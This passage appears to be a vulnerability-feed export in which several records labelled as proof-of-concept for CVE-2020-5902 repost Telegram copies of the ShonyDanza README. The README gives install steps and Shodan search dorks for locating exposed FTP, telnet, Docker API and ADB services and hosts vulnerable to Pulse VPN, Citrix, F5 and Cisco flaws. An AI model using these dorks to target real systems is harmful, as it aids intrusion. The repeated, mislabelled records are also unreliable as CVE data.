on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:17.074230Z"}, {"uuid": "fc320927-56d6-4214-8b58-4535a86dccd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:09.407634Z"}, {"uuid": "17cc0bf6-01d9-4553-8f6d-04b9ce57671e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:31.383614Z"}, {"uuid": "74f305ab-adc7-42a0-951f-e4a824d49622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/33339", "content": "KitPloit - PenTest Tools!\nShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nhttp://3.bp.blogspot.com/-HfvtRTCYnTM/YZ3QJbhSs3I/AAAAAAAA4AU/kC3BBy581dgTiAKCIDOlmGtohgCXuQhlgCK4BGAYYCw/w640-h524/ShonyDanza_1_shonydanza_demo-780791.gif A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installationgit clone https://github.com/fierceoj/ShonyDanza.gitRequirements\n\n* python3\n* shodan library cd ShonyDanzapip3 install -r requirements.txtUsageEdit config.py to include your desired configurations cd configssudo nano config.py#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0' Run cd ../python3 shonydanza.pySee this how-to article for additional usage instruction. Legal DisclaimerThis project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T03:00:53.150057Z"}, {"uuid": "ea2fa634-94a1-43d4-9f03-5e931dfca442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/33336", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n  With ShonyDanza, you can:    Obtain IPs based on search criteria  Automatically exclude honeypots from the results based on your pre-configured thresholds  Pre-configure all IP searches to filter on your specified net range(s)  Pre-configure search limits  Use build-a-search to craft searches with easy building blocks  Use stock searches and pre-configure your own stock searches  Check if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2s  Get host and domain profiles  Scan on-demand  Find exploits  Get total counts for searches and exploits  Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza    Installation  git clone https://github.com/fierceoj/ShonyDanza.git\n    Requirements      python3  shodan library    cd ShonyDanza\n  pip3 install -r requirements.txt  Usage    Edit config.py to include your desired configurations\n  cd configs\n  sudo nano config.py\n    #config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\n    Run \n  cd ../\n  python3 shonydanza.py\n    See this how-to article (https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/) for additional usage instruction.  Legal Disclaimer  This project is made for educational and ethical testing (https://www.kitploit.com/search/label/Testing) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.  \n\nDownload ShonyDanza (https://github.com/fierceoj/ShonyDanza)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T03:00:52.831622Z"}, {"uuid": "21546aea-af28-4287-b037-761541b6362b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/33343", "content": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\n A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan. With ShonyDanza, you can: Obtain IPs based on search criteria Automatically exclude honeypots from the results based on your pre-configured thresholds Pre-configure all IP searches to filter on your specified net range(s) Pre-configure search limits Use build-a-search to craft searches with easy building blocks Use stock searches and pre-configure your own stock searches Check if IPs are known malware C2s Get host and domain profiles Scan on-demand Find exploits Get total counts for searches and exploits Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installation git clone https://github.com/fierceoj/ShonyDanza.git Requirements python3 shodan library cd ShonyDanza pip3 install -r requirements.txt Usage Edit config.py to include your desired configurations cd configs sudo nano config.py #config file for shonydanza searches#REQUIRED#maximum number of results that will be returned per search#default is 100SEARCH_LIMIT = 100#REQUIRED#IPs exceeding the honeyscore limit will not show up in IP results#scale is 0.0 to 1.0#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all resultsHONEYSCORE_LIMIT = 1.0#REQUIRED - at least one key: value pair#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)STOCK_SEARCHES = {'ANONYMOUS_FTP':'ftp anonymous ok','RDP':'port:3389 has_screenshot:true','OPEN_TELNET':'port:23 console gateway -password','APACHE_DIR_LIST':'http.title:\"Index of / \"','SPRING_BOOT':'http.favicon.hash:116323821','HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"','DOCKER_API':'\"Docker Containers:\" port:2375','ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555','MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"','CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/','CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"','CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"','CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'}#OPTIONAL#IP or cidr range constraint for searches that return list of IP addresses#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' Run cd ../ python3 shonydanza.py See this how-to article for additional usage instruction. Legal Disclaimer This project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T03:00:53.372248Z"}, {"uuid": "8d40b3c6-ef6f-4d4f-ab4d-ab788fe74116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/33339", "content": "KitPloit - PenTest Tools!\nShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nhttp://3.bp.blogspot.com/-HfvtRTCYnTM/YZ3QJbhSs3I/AAAAAAAA4AU/kC3BBy581dgTiAKCIDOlmGtohgCXuQhlgCK4BGAYYCw/w640-h524/ShonyDanza_1_shonydanza_demo-780791.gif A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installationgit clone https://github.com/fierceoj/ShonyDanza.gitRequirements\n\n* python3\n* shodan library cd ShonyDanzapip3 install -r requirements.txtUsageEdit config.py to include your desired configurations cd configssudo nano config.py#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0' Run cd ../python3 shonydanza.pySee this how-to article for additional usage instruction. Legal DisclaimerThis project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:02.774078Z"}, {"uuid": "b4cfc6da-6eca-43c2-8802-cf416919ee9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/33343", "content": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\n A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan. With ShonyDanza, you can: Obtain IPs based on search criteria Automatically exclude honeypots from the results based on your pre-configured thresholds Pre-configure all IP searches to filter on your specified net range(s) Pre-configure search limits Use build-a-search to craft searches with easy building blocks Use stock searches and pre-configure your own stock searches Check if IPs are known malware C2s Get host and domain profiles Scan on-demand Find exploits Get total counts for searches and exploits Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installation git clone https://github.com/fierceoj/ShonyDanza.git Requirements python3 shodan library cd ShonyDanza pip3 install -r requirements.txt Usage Edit config.py to include your desired configurations cd configs sudo nano config.py #config file for shonydanza searches#REQUIRED#maximum number of results that will be returned per search#default is 100SEARCH_LIMIT = 100#REQUIRED#IPs exceeding the honeyscore limit will not show up in IP results#scale is 0.0 to 1.0#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all resultsHONEYSCORE_LIMIT = 1.0#REQUIRED - at least one key: value pair#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)STOCK_SEARCHES = {'ANONYMOUS_FTP':'ftp anonymous ok','RDP':'port:3389 has_screenshot:true','OPEN_TELNET':'port:23 console gateway -password','APACHE_DIR_LIST':'http.title:\"Index of / \"','SPRING_BOOT':'http.favicon.hash:116323821','HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"','DOCKER_API':'\"Docker Containers:\" port:2375','ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555','MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"','CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/','CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"','CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"','CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'}#OPTIONAL#IP or cidr range constraint for searches that return list of IP addresses#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' Run cd ../ python3 shonydanza.py See this how-to article for additional usage instruction. Legal Disclaimer This project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:02.983320Z"}, {"uuid": "0c017d55-789a-4844-9778-8b71dea9be3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/33336", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n  With ShonyDanza, you can:    Obtain IPs based on search criteria  Automatically exclude honeypots from the results based on your pre-configured thresholds  Pre-configure all IP searches to filter on your specified net range(s)  Pre-configure search limits  Use build-a-search to craft searches with easy building blocks  Use stock searches and pre-configure your own stock searches  Check if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2s  Get host and domain profiles  Scan on-demand  Find exploits  Get total counts for searches and exploits  Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza    Installation  git clone https://github.com/fierceoj/ShonyDanza.git\n    Requirements      python3  shodan library    cd ShonyDanza\n  pip3 install -r requirements.txt  Usage    Edit config.py to include your desired configurations\n  cd configs\n  sudo nano config.py\n    #config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see 